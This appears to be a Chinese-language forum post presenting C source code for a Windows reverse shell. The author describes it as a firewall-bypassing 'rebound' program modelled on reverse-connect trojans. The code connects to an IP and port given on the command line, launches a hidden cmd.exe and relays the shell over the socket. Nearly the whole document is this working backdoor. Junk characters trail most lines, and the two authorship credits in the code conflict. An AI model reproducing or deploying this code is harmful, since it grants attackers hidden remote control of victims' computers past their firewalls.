这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $j`
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/* ============================== (ClhbfzD
Rebound port in Windows NT V*n==Nb5L
By wind,2006/7 #m. AN
===============================*/ JV"NZvjN7d
#include IFNWS,:
#include
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#pragma comment(lib,"wsock32.lib") PB'0?b}fab
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void OutputShell(); SQ(apc}N4
SOCKET sClient; J}g~uW
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; y%B X]~
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void main(int argc,char **argv) G"s0GpvQ
{ I@7/jUO
WSADATA stWsaData; r((Tavn
int nRet; :Z`4j
SOCKADDR_IN stSaiClient,stSaiServer; c,5n,i
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if(argc != 3) z MdC
{ )na&"bJ
printf("Useage:\n\rRebound DestIP DestPort\n"); gy_$#e
return; _+QwREP
} TYS\95<
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WSAStartup(MAKEWORD(2,2),&stWsaData); _g|acBF
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T{MC-j _T9
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stSaiClient.sin_family = AF_INET; 'w<BJTQIL
stSaiClient.sin_port = htons(0); [,f)9v)
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "e62/Ejg%
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) crmUrF#
{ hb^!LtF#Y
printf("Bind Socket Failed!\n"); >q( 5ir
return; [B/0-(?
} # mT]j""
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stSaiServer.sin_family = AF_INET; a8uYs DS
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1p\Ak
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); qc8Ta"
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) SE `l(-tL
{ (O5)wej
printf("Connect Error!"); E20&hc5 8
return; ia{kab|_5
} T!^Mvat
OutputShell(); :EHQ .^
} Ti= 3y497S
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void OutputShell() 'Ji+c
{ 2w1tK
char szBuff[1024]; M []OHw
SECURITY_ATTRIBUTES stSecurityAttributes; jMU9{Si
OSVERSIONINFO stOsversionInfo; }B)jq`a?|\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Vewzo1G2
STARTUPINFO stStartupInfo; d'zT:g
char *szShell; gg]~2f
PROCESS_INFORMATION stProcessInformation; -J$g(sikt
unsigned long lBytesRead; 7kz-V.
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ?SX_gYe9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *BOBH;s
stSecurityAttributes.lpSecurityDescriptor = 0; Yo2Trh
stSecurityAttributes.bInheritHandle = TRUE; `SOhG?Zo
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); %W;u}`
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vjTwv+B"
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); njMLyT($
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q4%IxR?
stStartupInfo.wShowWindow = SW_HIDE; 4
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stStartupInfo.hStdInput = hReadPipe; /yYlu
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; xH$%5@~
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GetVersionEx(&stOsversionInfo); =lrN'$z?%
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switch(stOsversionInfo.dwPlatformId) 2LhE]O(_"
{ 878tI3-
case 1: h)o]TV
szShell = "command.com"; {wu!6\:<??
break; 37>MJ
default: H1Xov r
szShell = "cmd.exe"; wo(j}O-
break; +89o`u_l%
} !#.vyBK#
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4A~)b"j5
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send(sClient,szMsg,77,0); ZjD2u8e
while(1) b\L)m (
{ %HEmi;
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cdsQ3o
if(lBytesRead) 9p<:LZd~
{ +{ab1))/
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); z(UX't (q
send(sClient,szBuff,lBytesRead,0); n4*'B*
} -A@U0=o
else m|dF30~A
{
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lBytesRead=recv(sClient,szBuff,1024,0); Fe4esg-B<
if(lBytesRead<=0) break; w4}(Ab<Y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >@Khm"/T
} JS2!)aqc
} M,{<TpCx
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return; y Hw!#gWM
}